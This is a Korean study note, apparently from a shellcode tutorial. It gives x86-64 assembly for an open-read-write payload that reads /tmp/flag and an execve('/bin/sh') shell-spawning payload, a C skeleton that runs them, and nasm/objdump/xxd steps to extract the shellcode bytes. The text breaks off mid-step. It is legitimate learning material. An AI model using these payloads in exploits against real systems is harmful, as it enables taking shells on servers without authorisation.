// 구현하려는 셸코드의 의사코드
char buf[0x30]; // 파일의 내용을 읽고 저장하기 위한 배열 선언
int fd = open("/tmp/flag", RD_ONLY, NULL);
/* /tmp/flag 파일을 읽기 전용으로 열어 성공적으로 반환시 fd에 파일 디스크립터 저장,
그렇지 않으면 음수 저장 */
read(fd, buf, 0x30); // fd에 저장된 파일에 접근 하여 0x30 만큼 buf에 저장
write(1, buf, 0x30); // stdout, 즉 표준 출력으로 buf에 저장된 값 0x30 만큼 출력
; int fd = open("/tmp/flag", RD_ONLY, NULL); 어셈블리로 구현
push 0x67
; 8byte 단위로만 push가 가능하므로 "g" 부분을 먼저 push
mov rax, 0x616c662f706d742f
; rax = "/tmp/fla"
; 리틀 앤디안 방식을 고려하여, 읽어야함을 주의
push rax ; 나머지 문자열이 담긴 rax를 push
mov rdi, rsp
; rdi = "/tmp/flag"
; rdi가 이 문자열을 가르키도록 rsp를 옮김
xor rsi, rsi
; 본인을 xor 연산한 결과는 0
; rsi = 0 ; RD_ONLY
; O_WRONLY = 1, O_RDWR = 2 이다.
xor rdx, rdx
; 본인을 xor 연산한 결과는 0
; rdx = 0
; NULL로 지정되어 있는 매개변수 이므로
mov rax, 2
; rax = 2 ; syscall_open
syscall
; open("/tmp/flag", RD_ONLY, NULL)
; read(fd, buf, 0x30); 어셈블리어로 구현
mov rdi, rax
; rdi = fd
; syscall의 반환값은 rax에 저장되므로 open으로 획득한 "/tmp/flag" 의 fd는 rax에 저장되어 있음.
mov rsi, rsp
; rsi = rsp
sub rsi, 0x30
; rsi = rsp-0x30 ; buf
; rsi는 파일에서 읽은 데이터를 저장할 주소
mov rdx, 0x30
; rdx = 0x30 ; len
; 파일로 부터 읽어낼 데이터의 길이
mov rax, 0x0
; rax = 0 ; syscall_read
syscall
; read(fd, buf, 0x30)
| 일반 입력(Standard Input, STDIN) | 0번 |
|---|---|
| 일반 출력(Standard Output, STDOUT) | 1번 |
| 일반 오류(Standard Error, STDERR) | 2번 |
; write(1, buf, 0x30); 어셈블리어로 구현
mov rdi, 1
; rdi = 1 ; fd = stdout
mov rax, 0x1
; rax = 1 ; syscall_write
syscall
; rdi, rdx는 read에서 사용한 값 그대로 사용
; write(fd, buf, 0x30)
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flagflag{this_is_open_read_write_shellcode!} 라는 문자열을 출력한 결과를 /tmp/flag 에 저장gcc -o orw orw.c -masm=intel/tmp/flag 를 읽는 셸코드를 스켈레톤 코드 sh-skeleton.c 에 넣어서 실행 가능한 셸코드로 만든 파일 orw.corw.c 파일의 실행 파일명 orw./orw
-masm=intel 이란? 참고한 글“/tmp/flag”의 값 외의 알 수 없는 값 출력rsp rbp를 호출한 함수의 것으로 단순 이동하는 것이를 이용해 서버의 셸 획득 가능
리눅스는 sh, bash를 기본 셸로 탑재
execve 시스템 콜만으로 구성
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
|---|---|---|---|---|
| execve | 0x3b | const char *filename | const char const argv | const char const envp |
// sh 셸을 실행하는 셸코드
execve(“/bin/sh”, null, null)
;Name: execve.S
mov rax, 0x68732f6e69622f
; rax = /bin/sh
push rax
; rax를 스택에 push함
mov rdi, rsp
; rsp를 rdi로 옮긴다. stack의 top역할을 하는 rsp는 "/bin/sh"를 가르키고 있음
; rdi = "/bin/sh"
xor rsi, rsi
; 본인을 xor 연산한 결과는 0
; rsi = NULL
xor rdx, rdx
; 본인을 xor 연산한 결과는 0
; rdx = NULL
mov rax, 0x3b
; syscall중에서 execve를 불러오는 rax 값
syscall
; execve("/bin/sh", null, null)
gcc -o execve execve.c -masm=intelexecve 파일 실행 후 현재 실행 중인 셸을 출력했을 때 아무것도 나오지 않아서 실패한줄 알았는데, 이글을 보고 $ 모양이 /bin/sh 쉘로 로그인 했을 때 나타나는 모양임을 알아서 성공 했구나 싶었다.echo로 쉘 출력시 /bin/sh가 뜨지 않는지 모르겠다
objdump를 이용하여 추출할 수 있다.objdump : 바이너리 파일들의 정보를 보여주는 프로그램으로 디스어셈블러로 사용 가능하다.shellcode.asm 를 binary 파일로 추출하기; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
위의 셸코드를 bytecode 형태로 추출해보자.
1. nasm을 설치 → sudo apt-get install nasm
나는 이미 설치가 되어 있기 때문에 다음과 같이 뜬다.
nasm 이란?sudo 란? 참고한 글root 권한을 이용하여 명령어를 실행 하기 위해 사용sudo를 입력함으로써 해결되는 경우가 많음. → 다른 글로 자세히 다루어 보겠다2. shellcode.asm 파일을 elf 형식으로 되어 있는 목적파일로 바꾸어준다.
→ nasm -f elf shellcode.asm
이전과 다르게 shellcode.o가 생긴것을 볼 수 있다.
우리가 위에서 사용한 -f 옵션의 역할을 메뉴얼에서 찾아볼 수 있다.
3. shellcode.asm 파일을 디스어셈블
→ objdump -d shellcode.o

4. shellcode.o 파일의 ./text section 부분을 복사하여 shellcode.bin 파일에 저장
→ objcopy --dump-section .text=shellcode.bin shellcode.o
이전과 다르게 shellcode.bin 파일이 생성됨을 볼 수 있다.
objcopy 명령어 -> 참고한 글5. 파일을 hexdump로 출력
→ xxd shellcode.bin
xxd 명령어 → 참고한 글vi나 cat 명령어로 열어서 보면, 아스키에 포함되어 있지 않는 값들은 깨진문자로 보임. 이를 자세히 파악하기 위해서 형태를 변환할 때 사용한다.
6. 셸코드만 뽑아낸 파일 만들기
